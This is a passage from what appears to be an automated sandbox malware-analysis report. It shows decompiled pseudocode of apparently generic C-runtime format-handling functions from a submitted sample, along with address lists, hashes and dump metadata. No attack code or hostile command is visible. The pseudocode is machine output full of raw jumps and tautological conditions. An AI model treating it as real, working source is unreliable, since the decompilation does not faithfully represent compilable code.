				goto 0xda8e0b72;
				r8d = r8d - 6;
				if (_t106 == 0) goto 0xda8e0b56;
				r8d = r8d - 1;
				if (_t106 == 0) goto 0xda8e0b56;
				r8d = r8d - 2;
				if (_t106 == 0) goto 0xda8e0b56;
				goto 0xda8e0b42;
				_t118 =  *((intOrPtr*)(_t128 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t118 + 0x30)) = 1;
				 *((intOrPtr*)(_t118 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(_t128 + 8));
				_v24 = _v24 & 0x00000000;
				E00007FF77FF7DA8E9C34( *((intOrPtr*)(_t128 + 8)), __rcx, _t128, _t133,  *_t128, __rbp, _t151);
				goto 0xda8e0ce2;
				_t129 =  *((intOrPtr*)(_t128 + 0x18));
				 *((long long*)(_t123 + 0x18)) = _t129 + 8;
				if (0 == 0) goto 0xda8e0c6c;
				_t144 =  *_t129;
				goto 0xda8e0b72;
				goto 0xda8e0b72;
				 *(_t123 + 0x28) =  *(_t128 + 0x28) & 0xfffffff7;
				E00007FF77FF7DA8DFDD8(_t123, _t123 + 0x50,  *((intOrPtr*)(_t123 + 0x30)), _t144,  *((intOrPtr*)(_t123 + 8)));
				if (_t144 != 0) goto 0xda8e0c93;
				 *(_t123 + 0x28) =  *(_t123 + 0x28) & 0xffffffdf;
				 *((char*)(_t123 + 0x4c)) = 1;
				r8b = bpl;
				if (_t154 != _t154) goto 0xda8e0cac;
				E00007FF77FF7DA8E1914(0, _t123, _t144, _t153);
				goto 0xda8e0cb3;
				E00007FF77FF7DA8E1590(0,  *_t129, _t123, _t153);
				if (0 == 0) goto 0xda8e0ce0;
				if ( *((intOrPtr*)(_t123 + 0x48)) == 0) goto 0xda8e0cd1;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t123 + 0x40)))) == 0x30) goto 0xda8e0ce0;
				 *((long long*)(_t123 + 0x40)) =  *((long long*)(_t123 + 0x40)) + 0xfffffffe;
				 *((short*)( *((intOrPtr*)(_t123 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t123 + 0x48)) =  *((intOrPtr*)(_t123 + 0x48)) + 1;
				return 1;
			}






















                                                                                                                              0x7ff7da8e0af4
                                                                                                                              0x7ff7da8e0af7
                                                                                                                              0x7ff7da8e0afb
                                                                                                                              0x7ff7da8e0aff
                                                                                                                              0x7ff7da8e0b03
                                                                                                                              0x7ff7da8e0b07
                                                                                                                              0x7ff7da8e0b0d
                                                                                                                              0x7ff7da8e0b11
                                                                                                                              0x7ff7da8e0b14
                                                                                                                              0x7ff7da8e0b17
                                                                                                                              0x7ff7da8e0b1d
                                                                                                                              0x7ff7da8e0b21
                                                                                                                              0x7ff7da8e0b27
                                                                                                                              0x7ff7da8e0b29
                                                                                                                              0x7ff7da8e0b2c
                                                                                                                              0x7ff7da8e0b32
                                                                                                                              0x7ff7da8e0b36
                                                                                                                              0x7ff7da8e0b3c
                                                                                                                              0x7ff7da8e0b40
                                                                                                                              0x7ff7da8e0b42
                                                                                                                              0x7ff7da8e0b46
                                                                                                                              0x7ff7da8e0b50
                                                                                                                              0x7ff7da8e0b56
                                                                                                                              0x7ff7da8e0b5c
                                                                                                                              0x7ff7da8e0b6b
                                                                                                                              0x7ff7da8e0b79
                                                                                                                              0x7ff7da8e0b7e
                                                                                                                              0x7ff7da8e0b86
                                                                                                                              0x7ff7da8e0b8d
                                                                                                                              0x7ff7da8e0b93
                                                                                                                              0x7ff7da8e0b9a
                                                                                                                              0x7ff7da8e0ba7
                                                                                                                              0x7ff7da8e0bb6
                                                                                                                              0x7ff7da8e0bba
                                                                                                                              0x7ff7da8e0bc0
                                                                                                                              0x7ff7da8e0bc5
                                                                                                                              0x7ff7da8e0bcf
                                                                                                                              0x7ff7da8e0bd8
                                                                                                                              0x7ff7da8e0bdf
                                                                                                                              0x7ff7da8e0be3
                                                                                                                              0x7ff7da8e0be9
                                                                                                                              0x7ff7da8e0bee
                                                                                                                              0x7ff7da8e0bf0
                                                                                                                              0x7ff7da8e0bf4
                                                                                                                              0x7ff7da8e0bfa
                                                                                                                              0x7ff7da8e0bfe
                                                                                                                              0x7ff7da8e0c04
                                                                                                                              0x7ff7da8e0c08
                                                                                                                              0x7ff7da8e0c0e
                                                                                                                              0x7ff7da8e0c13
                                                                                                                              0x7ff7da8e0c17
                                                                                                                              0x7ff7da8e0c1a
                                                                                                                              0x7ff7da8e0c1f
                                                                                                                              0x7ff7da8e0c23
                                                                                                                              0x7ff7da8e0c30
                                                                                                                              0x7ff7da8e0c35
                                                                                                                              0x7ff7da8e0c3b
                                                                                                                              0x7ff7da8e0c42
                                                                                                                              0x7ff7da8e0c4f
                                                                                                                              0x7ff7da8e0c5e
                                                                                                                              0x7ff7da8e0c62
                                                                                                                              0x7ff7da8e0c64
                                                                                                                              0x7ff7da8e0c67
                                                                                                                              0x7ff7da8e0c6e
                                                                                                                              0x7ff7da8e0c7e
                                                                                                                              0x7ff7da8e0c85
                                                                                                                              0x7ff7da8e0c8d
                                                                                                                              0x7ff7da8e0c8f
                                                                                                                              0x7ff7da8e0c93
                                                                                                                              0x7ff7da8e0c97
                                                                                                                              0x7ff7da8e0ca0
                                                                                                                              0x7ff7da8e0ca5
                                                                                                                              0x7ff7da8e0caa
                                                                                                                              0x7ff7da8e0cae
                                                                                                                              0x7ff7da8e0cbb
                                                                                                                              0x7ff7da8e0cc6
                                                                                                                              0x7ff7da8e0ccf
                                                                                                                              0x7ff7da8e0cd1
                                                                                                                              0x7ff7da8e0cda
                                                                                                                              0x7ff7da8e0cdd
                                                                                                                              0x7ff7da8e0cfc

                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: c32b4ddfd43473a216dec7aa9a0be5b617892f75f4149cffacdc7470c95e978f
                                                                                                                              • Instruction ID: af8d0d78edf08b6b2c0d2e5c7c97a3e9ab5b933fe6635aa57b4c3e4f389f3127
                                                                                                                              • Opcode Fuzzy Hash: c32b4ddfd43473a216dec7aa9a0be5b617892f75f4149cffacdc7470c95e978f
                                                                                                                              • Instruction Fuzzy Hash: F8516336A58691C5F7259B29C04022C63B0FBA4B68FA44572CE4D0779ACB3FEA63C750
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E1314 Relevance: .1, Instructions: 146COMMONCrypto
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 72%
                                                                                                                              			E00007FF77FF7DA8E1314(void* __edx, long long __rbx, void* __rcx, long long __rdi, long long __rsi, long long __rbp, void* _a8, void* _a16, void* _a24, void* _a32) {
				long long _v16;
				signed long long _v24;
				signed int _t83;
				void* _t98;
				intOrPtr _t99;
				signed int _t106;
				void* _t114;
				intOrPtr _t118;
				void* _t123;
				intOrPtr* _t126;
				intOrPtr _t127;
				char* _t128;
				intOrPtr* _t129;
				void* _t133;
				intOrPtr _t144;
				void* _t148;
				void* _t151;
				void* _t153;

				_t114 = _t148;
				 *((long long*)(_t114 + 8)) = __rbx;
				 *((long long*)(_t114 + 0x10)) = __rbp;
				 *((long long*)(_t114 + 0x18)) = __rsi;
				 *((long long*)(_t114 + 0x20)) = __rdi;
				_push(_t153);
				r8d =  *((intOrPtr*)(__rcx + 0x34));
				bpl = __edx;
				_t123 = __rcx;
				r14d = 8;
				_t98 = r8d - 5;
				if (_t98 > 0) goto 0xda8e1410;
				if (_t98 == 0) goto 0xda8e1376;
				_t99 = r8d;
				if (_t99 == 0) goto 0xda8e1467;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0xda8e13e7;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0xda8e13bf;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0xda8e1467;
				if (r8d != 1) goto 0xda8e1433;
				_t83 =  *(__rcx + 0x28);
				_t126 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t126 + 8;
				if ((_t83 >> 0x00000004 & 0x00000001) == 0) goto 0xda8e13a9;
				if ( *_t126 >= 0) goto 0xda8e13a9;
				 *(__rcx + 0x28) = _t83 | 0x00000040;
				if ( *((intOrPtr*)(__rcx + 0x30)) >= 0) goto 0xda8e1493;
				 *((intOrPtr*)(__rcx + 0x30)) = 1;
				goto 0xda8e14aa;
				_t127 =  *((intOrPtr*)(_t126 + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t127 + 8;
				if (( *(_t126 + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0xda8e13e2;
				goto 0xda8e1392;
				goto 0xda8e1392;
				_t128 =  *((intOrPtr*)(_t127 + 0x18));
				_t106 = dil &  *(_t127 + 0x28) >> 0x00000004;
				 *((long long*)(__rcx + 0x18)) = _t128 + 8;
				if (_t106 == 0) goto 0xda8e140b;
				goto 0xda8e1392;
				goto 0xda8e1392;
				r8d = r8d - 6;
				if (_t106 == 0) goto 0xda8e1376;
				r8d = r8d - 1;
				if (_t106 == 0) goto 0xda8e1376;
				r8d = r8d - 2;
				if (_t106 == 0) goto 0xda8e1376;
				goto 0xda8e1362;
				_t118 =  *((intOrPtr*)(_t128 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t118 + 0x30)) = 1;
				 *((intOrPtr*)(_t118 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(_t128 + 8));
				_v24 = _v24 & 0x00000000;
				E00007FF77FF7DA8E9C34( *((intOrPtr*)(_t128 + 8)), __rcx, _t128, _t133,  *_t128, __rbp, _t151);
				goto 0xda8e1502;
				_t129 =  *((intOrPtr*)(_t128 + 0x18));
				 *((long long*)(_t123 + 0x18)) = _t129 + 8;
				if (0 == 0) goto 0xda8e148c;
				_t144 =  *_t129;
				goto 0xda8e1392;
				goto 0xda8e1392;
				 *(_t123 + 0x28) =  *(_t128 + 0x28) & 0xfffffff7;
				E00007FF77FF7DA8DFDD8(_t123, _t123 + 0x50,  *((intOrPtr*)(_t123 + 0x30)), _t144,  *((intOrPtr*)(_t123 + 8)));
				if (_t144 != 0) goto 0xda8e14b3;
				 *(_t123 + 0x28) =  *(_t123 + 0x28) & 0xffffffdf;
				 *((char*)(_t123 + 0x4c)) = 1;
				r8b = bpl;
				if (_t153 != _t153) goto 0xda8e14cc;
				E00007FF77FF7DA8E1B94( *(_t128 + 0x28) & 0xfffffff7, _t123, _t144,  *((intOrPtr*)(_t123 + 8)));
				goto 0xda8e14d3;
				E00007FF77FF7DA8E1804( *_t129, _t123,  *((intOrPtr*)(_t123 + 8)));
				if (0 == 0) goto 0xda8e1500;
				if ( *((intOrPtr*)(_t123 + 0x48)) == 0) goto 0xda8e14f1;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t123 + 0x40)))) == 0x30) goto 0xda8e1500;
				 *((long long*)(_t123 + 0x40)) =  *((long long*)(_t123 + 0x40)) + 0xfffffffe;
				 *((short*)( *((intOrPtr*)(_t123 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t123 + 0x48)) =  *((intOrPtr*)(_t123 + 0x48)) + 1;
				return 1;
			}





















                                                                                                                              0x7ff7da8e1314
                                                                                                                              0x7ff7da8e1317
                                                                                                                              0x7ff7da8e131b
                                                                                                                              0x7ff7da8e131f
                                                                                                                              0x7ff7da8e1323
                                                                                                                              0x7ff7da8e1327
                                                                                                                              0x7ff7da8e132d
                                                                                                                              0x7ff7da8e1331
                                                                                                                              0x7ff7da8e1334
                                                                                                                              0x7ff7da8e1337
                                                                                                                              0x7ff7da8e133d
                                                                                                                              0x7ff7da8e1341
                                                                                                                              0x7ff7da8e1347
                                                                                                                              0x7ff7da8e1349
                                                                                                                              0x7ff7da8e134c
                                                                                                                              0x7ff7da8e1352
                                                                                                                              0x7ff7da8e1356
                                                                                                                              0x7ff7da8e135c
                                                                                                                              0x7ff7da8e1360
                                                                                                                              0x7ff7da8e1362
                                                                                                                              0x7ff7da8e1366
                                                                                                                              0x7ff7da8e1370
                                                                                                                              0x7ff7da8e1376
                                                                                                                              0x7ff7da8e137c
                                                                                                                              0x7ff7da8e138b
                                                                                                                              0x7ff7da8e1399
                                                                                                                              0x7ff7da8e139e
                                                                                                                              0x7ff7da8e13a6
                                                                                                                              0x7ff7da8e13ad
                                                                                                                              0x7ff7da8e13b3
                                                                                                                              0x7ff7da8e13ba
                                                                                                                              0x7ff7da8e13c7
                                                                                                                              0x7ff7da8e13d6
                                                                                                                              0x7ff7da8e13da
                                                                                                                              0x7ff7da8e13e0
                                                                                                                              0x7ff7da8e13e5
                                                                                                                              0x7ff7da8e13ef
                                                                                                                              0x7ff7da8e13f8
                                                                                                                              0x7ff7da8e13ff
                                                                                                                              0x7ff7da8e1403
                                                                                                                              0x7ff7da8e1409
                                                                                                                              0x7ff7da8e140e
                                                                                                                              0x7ff7da8e1410
                                                                                                                              0x7ff7da8e1414
                                                                                                                              0x7ff7da8e141a
                                                                                                                              0x7ff7da8e141e
                                                                                                                              0x7ff7da8e1424
                                                                                                                              0x7ff7da8e1428
                                                                                                                              0x7ff7da8e142e
                                                                                                                              0x7ff7da8e1433
                                                                                                                              0x7ff7da8e1437
                                                                                                                              0x7ff7da8e143a
                                                                                                                              0x7ff7da8e143f
                                                                                                                              0x7ff7da8e1443
                                                                                                                              0x7ff7da8e1450
                                                                                                                              0x7ff7da8e1455
                                                                                                                              0x7ff7da8e145b
                                                                                                                              0x7ff7da8e1462
                                                                                                                              0x7ff7da8e146f
                                                                                                                              0x7ff7da8e147e
                                                                                                                              0x7ff7da8e1482
                                                                                                                              0x7ff7da8e1484
                                                                                                                              0x7ff7da8e1487
                                                                                                                              0x7ff7da8e148e
                                                                                                                              0x7ff7da8e149e
                                                                                                                              0x7ff7da8e14a5
                                                                                                                              0x7ff7da8e14ad
                                                                                                                              0x7ff7da8e14af
                                                                                                                              0x7ff7da8e14b3
                                                                                                                              0x7ff7da8e14b7
                                                                                                                              0x7ff7da8e14c0
                                                                                                                              0x7ff7da8e14c5
                                                                                                                              0x7ff7da8e14ca
                                                                                                                              0x7ff7da8e14ce
                                                                                                                              0x7ff7da8e14db
                                                                                                                              0x7ff7da8e14e6
                                                                                                                              0x7ff7da8e14ef
                                                                                                                              0x7ff7da8e14f1
                                                                                                                              0x7ff7da8e14fa
                                                                                                                              0x7ff7da8e14fd
                                                                                                                              0x7ff7da8e151c

                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 867914ff4df0b6b44d704adc42bbe88cde9096fdc707783f05752eff833c7ffe
                                                                                                                              • Instruction ID: 908cefc1a96a432cadfd8df9ff2ebf8eda8527af3df7f672735bcbdcd0a85084
                                                                                                                              • Opcode Fuzzy Hash: 867914ff4df0b6b44d704adc42bbe88cde9096fdc707783f05752eff833c7ffe
                                                                                                                              • Instruction Fuzzy Hash: 0C519072A18A51C2F7259B29C04023CA3A1FB75B59FA44172CE4D07BD6CB3FE962C750
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E0F04 Relevance: .1, Instructions: 146COMMONCrypto
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 66%
                                                                                                                              			E00007FF77FF7DA8E0F04(void* __edx, long long __rbx, void* __rcx, long long __rdi, long long __rsi, long long __rbp, void* _a8, void* _a16, void* _a24, void* _a32) {
				long long _v16;
				signed long long _v24;
				signed int _t83;
				void* _t98;
				intOrPtr _t99;
				signed int _t106;
				void* _t114;
				intOrPtr _t118;
				void* _t123;
				intOrPtr* _t126;
				intOrPtr _t127;
				char* _t128;
				intOrPtr* _t129;
				void* _t133;
				intOrPtr _t144;
				void* _t148;
				void* _t151;
				void* _t153;
				void* _t154;

				_t114 = _t148;
				 *((long long*)(_t114 + 8)) = __rbx;
				 *((long long*)(_t114 + 0x10)) = __rbp;
				 *((long long*)(_t114 + 0x18)) = __rsi;
				 *((long long*)(_t114 + 0x20)) = __rdi;
				_push(_t154);
				r8d =  *((intOrPtr*)(__rcx + 0x34));
				bpl = __edx;
				_t123 = __rcx;
				r14d = 8;
				_t98 = r8d - 5;
				if (_t98 > 0) goto 0xda8e1000;
				if (_t98 == 0) goto 0xda8e0f66;
				_t99 = r8d;
				if (_t99 == 0) goto 0xda8e1057;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0xda8e0fd7;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0xda8e0faf;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0xda8e1057;
				if (r8d != 1) goto 0xda8e1023;
				_t83 =  *(__rcx + 0x28);
				_t126 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t126 + 8;
				if ((_t83 >> 0x00000004 & 0x00000001) == 0) goto 0xda8e0f99;
				if ( *_t126 >= 0) goto 0xda8e0f99;
				 *(__rcx + 0x28) = _t83 | 0x00000040;
				if ( *((intOrPtr*)(__rcx + 0x30)) >= 0) goto 0xda8e1083;
				 *((intOrPtr*)(__rcx + 0x30)) = 1;
				goto 0xda8e109a;
				_t127 =  *((intOrPtr*)(_t126 + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t127 + 8;
				if (( *(_t126 + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0xda8e0fd2;
				goto 0xda8e0f82;
				goto 0xda8e0f82;
				_t128 =  *((intOrPtr*)(_t127 + 0x18));
				_t106 = dil &  *(_t127 + 0x28) >> 0x00000004;
				 *((long long*)(__rcx + 0x18)) = _t128 + 8;
				if (_t106 == 0) goto 0xda8e0ffb;
				goto 0xda8e0f82;
				goto 0xda8e0f82;
				r8d = r8d - 6;
				if (_t106 == 0) goto 0xda8e0f66;
				r8d = r8d - 1;
				if (_t106 == 0) goto 0xda8e0f66;
				r8d = r8d - 2;
				if (_t106 == 0) goto 0xda8e0f66;
				goto 0xda8e0f52;
				_t118 =  *((intOrPtr*)(_t128 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t118 + 0x30)) = 1;
				 *((intOrPtr*)(_t118 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(_t128 + 8));
				_v24 = _v24 & 0x00000000;
				E00007FF77FF7DA8E9C34( *((intOrPtr*)(_t128 + 8)), __rcx, _t128, _t133,  *_t128, __rbp, _t151);
				goto 0xda8e10f2;
				_t129 =  *((intOrPtr*)(_t128 + 0x18));
				 *((long long*)(_t123 + 0x18)) = _t129 + 8;
				if (0 == 0) goto 0xda8e107c;
				_t144 =  *_t129;
				goto 0xda8e0f82;
				goto 0xda8e0f82;
				 *(_t123 + 0x28) =  *(_t128 + 0x28) & 0xfffffff7;
				E00007FF77FF7DA8DFDD8(_t123, _t123 + 0x50,  *((intOrPtr*)(_t123 + 0x30)), _t144,  *((intOrPtr*)(_t123 + 8)));
				if (_t144 != 0) goto 0xda8e10a3;
				 *(_t123 + 0x28) =  *(_t123 + 0x28) & 0xffffffdf;
				 *((char*)(_t123 + 0x4c)) = 1;
				r8b = bpl;
				if (_t154 != _t154) goto 0xda8e10bc;
				E00007FF77FF7DA8E1A4C(_t123, _t123, _t144);
				goto 0xda8e10c3;
				E00007FF77FF7DA8E16C0( *_t129, _t123, _t123, _t144, _t153);
				if (0 == 0) goto 0xda8e10f0;
				if ( *((intOrPtr*)(_t123 + 0x48)) == 0) goto 0xda8e10e1;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t123 + 0x40)))) == 0x30) goto 0xda8e10f0;
				 *((long long*)(_t123 + 0x40)) =  *((long long*)(_t123 + 0x40)) + 0xfffffffe;
				 *((short*)( *((intOrPtr*)(_t123 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t123 + 0x48)) =  *((intOrPtr*)(_t123 + 0x48)) + 1;
				return 1;
			}






















                                                                                                                              0x7ff7da8e0f04
                                                                                                                              0x7ff7da8e0f07
                                                                                                                              0x7ff7da8e0f0b
                                                                                                                              0x7ff7da8e0f0f
                                                                                                                              0x7ff7da8e0f13
                                                                                                                              0x7ff7da8e0f17
                                                                                                                              0x7ff7da8e0f1d
                                                                                                                              0x7ff7da8e0f21
                                                                                                                              0x7ff7da8e0f24
                                                                                                                              0x7ff7da8e0f27
                                                                                                                              0x7ff7da8e0f2d
                                                                                                                              0x7ff7da8e0f31
                                                                                                                              0x7ff7da8e0f37
                                                                                                                              0x7ff7da8e0f39
                                                                                                                              0x7ff7da8e0f3c
                                                                                                                              0x7ff7da8e0f42
                                                                                                                              0x7ff7da8e0f46
                                                                                                                              0x7ff7da8e0f4c
                                                                                                                              0x7ff7da8e0f50
                                                                                                                              0x7ff7da8e0f52
                                                                                                                              0x7ff7da8e0f56
                                                                                                                              0x7ff7da8e0f60
                                                                                                                              0x7ff7da8e0f66
                                                                                                                              0x7ff7da8e0f6c
                                                                                                                              0x7ff7da8e0f7b
                                                                                                                              0x7ff7da8e0f89
                                                                                                                              0x7ff7da8e0f8e
                                                                                                                              0x7ff7da8e0f96
                                                                                                                              0x7ff7da8e0f9d
                                                                                                                              0x7ff7da8e0fa3
                                                                                                                              0x7ff7da8e0faa
                                                                                                                              0x7ff7da8e0fb7
                                                                                                                              0x7ff7da8e0fc6
                                                                                                                              0x7ff7da8e0fca
                                                                                                                              0x7ff7da8e0fd0
                                                                                                                              0x7ff7da8e0fd5
                                                                                                                              0x7ff7da8e0fdf
                                                                                                                              0x7ff7da8e0fe8
                                                                                                                              0x7ff7da8e0fef
                                                                                                                              0x7ff7da8e0ff3
                                                                                                                              0x7ff7da8e0ff9
                                                                                                                              0x7ff7da8e0ffe
                                                                                                                              0x7ff7da8e1000
                                                                                                                              0x7ff7da8e1004
                                                                                                                              0x7ff7da8e100a
                                                                                                                              0x7ff7da8e100e
                                                                                                                              0x7ff7da8e1014
                                                                                                                              0x7ff7da8e1018
                                                                                                                              0x7ff7da8e101e
                                                                                                                              0x7ff7da8e1023
                                                                                                                              0x7ff7da8e1027
                                                                                                                              0x7ff7da8e102a
                                                                                                                              0x7ff7da8e102f
                                                                                                                              0x7ff7da8e1033
                                                                                                                              0x7ff7da8e1040
                                                                                                                              0x7ff7da8e1045
                                                                                                                              0x7ff7da8e104b
                                                                                                                              0x7ff7da8e1052
                                                                                                                              0x7ff7da8e105f
                                                                                                                              0x7ff7da8e106e
                                                                                                                              0x7ff7da8e1072
                                                                                                                              0x7ff7da8e1074
                                                                                                                              0x7ff7da8e1077
                                                                                                                              0x7ff7da8e107e
                                                                                                                              0x7ff7da8e108e
                                                                                                                              0x7ff7da8e1095
                                                                                                                              0x7ff7da8e109d
                                                                                                                              0x7ff7da8e109f
                                                                                                                              0x7ff7da8e10a3
                                                                                                                              0x7ff7da8e10a7
                                                                                                                              0x7ff7da8e10b0
                                                                                                                              0x7ff7da8e10b5
                                                                                                                              0x7ff7da8e10ba
                                                                                                                              0x7ff7da8e10be
                                                                                                                              0x7ff7da8e10cb
                                                                                                                              0x7ff7da8e10d6
                                                                                                                              0x7ff7da8e10df
                                                                                                                              0x7ff7da8e10e1
                                                                                                                              0x7ff7da8e10ea
                                                                                                                              0x7ff7da8e10ed
                                                                                                                              0x7ff7da8e110c

                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: d861661aa08db629cc23cdca8c369b076586a2e450c00db1ba5d57a294e44a4f
                                                                                                                              • Instruction ID: 5e04c7491b860030bcebb3af41c9e3ebf599290905275588710133e1b3a263ae
                                                                                                                              • Opcode Fuzzy Hash: d861661aa08db629cc23cdca8c369b076586a2e450c00db1ba5d57a294e44a4f
                                                                                                                              • Instruction Fuzzy Hash: AD518376A58691C5F7659B28C04022C63B0FB64B58FE44172CE4C177D6CB3FEA62C790
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E0D00 Relevance: .1, Instructions: 145COMMONCrypto
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 64%
                                                                                                                              			E00007FF77FF7DA8E0D00(void* __edx, long long __rbx, void* __rcx, long long __rdi, long long __rsi, long long __rbp, void* _a8, void* _a16, void* _a24, void* _a32) {
				long long _v16;
				signed long long _v24;
				signed int _t83;
				void* _t97;
				intOrPtr _t98;
				signed int _t105;
				void* _t113;
				intOrPtr _t117;
				void* _t122;
				intOrPtr* _t125;
				intOrPtr _t126;
				char* _t127;
				intOrPtr* _t128;
				void* _t132;
				intOrPtr _t143;
				void* _t147;
				void* _t150;
				void* _t152;

				_t113 = _t147;
				 *((long long*)(_t113 + 8)) = __rbx;
				 *((long long*)(_t113 + 0x10)) = __rbp;
				 *((long long*)(_t113 + 0x18)) = __rsi;
				 *((long long*)(_t113 + 0x20)) = __rdi;
				_push(_t152);
				r8d =  *((intOrPtr*)(__rcx + 0x34));
				bpl = __edx;
				_t122 = __rcx;
				r14d = 8;
				_t97 = r8d - 5;
				if (_t97 > 0) goto 0xda8e0dfc;
				if (_t97 == 0) goto 0xda8e0d62;
				_t98 = r8d;
				if (_t98 == 0) goto 0xda8e0e53;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0xda8e0dd3;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0xda8e0dab;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0xda8e0e53;
				if (r8d != 1) goto 0xda8e0e1f;
				_t83 =  *(__rcx + 0x28);
				_t125 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t125 + 8;
				if ((_t83 >> 0x00000004 & 0x00000001) == 0) goto 0xda8e0d95;
				if ( *_t125 >= 0) goto 0xda8e0d95;
				 *(__rcx + 0x28) = _t83 | 0x00000040;
				if ( *((intOrPtr*)(__rcx + 0x30)) >= 0) goto 0xda8e0e7f;
				 *((intOrPtr*)(__rcx + 0x30)) = 1;
				goto 0xda8e0e96;
				_t126 =  *((intOrPtr*)(_t125 + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t126 + 8;
				if (( *(_t125 + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0xda8e0dce;
				goto 0xda8e0d7e;
				goto 0xda8e0d7e;
				_t127 =  *((intOrPtr*)(_t126 + 0x18));
				_t105 = dil &  *(_t126 + 0x28) >> 0x00000004;
				 *((long long*)(__rcx + 0x18)) = _t127 + 8;
				if (_t105 == 0) goto 0xda8e0df7;
				goto 0xda8e0d7e;
				goto 0xda8e0d7e;
				r8d = r8d - 6;
				if (_t105 == 0) goto 0xda8e0d62;
				r8d = r8d - 1;
				if (_t105 == 0) goto 0xda8e0d62;
				r8d = r8d - 2;
				if (_t105 == 0) goto 0xda8e0d62;
				goto 0xda8e0d4e;
				_t117 =  *((intOrPtr*)(_t127 + 8));
				r9d = 0;
				r8d = 0;
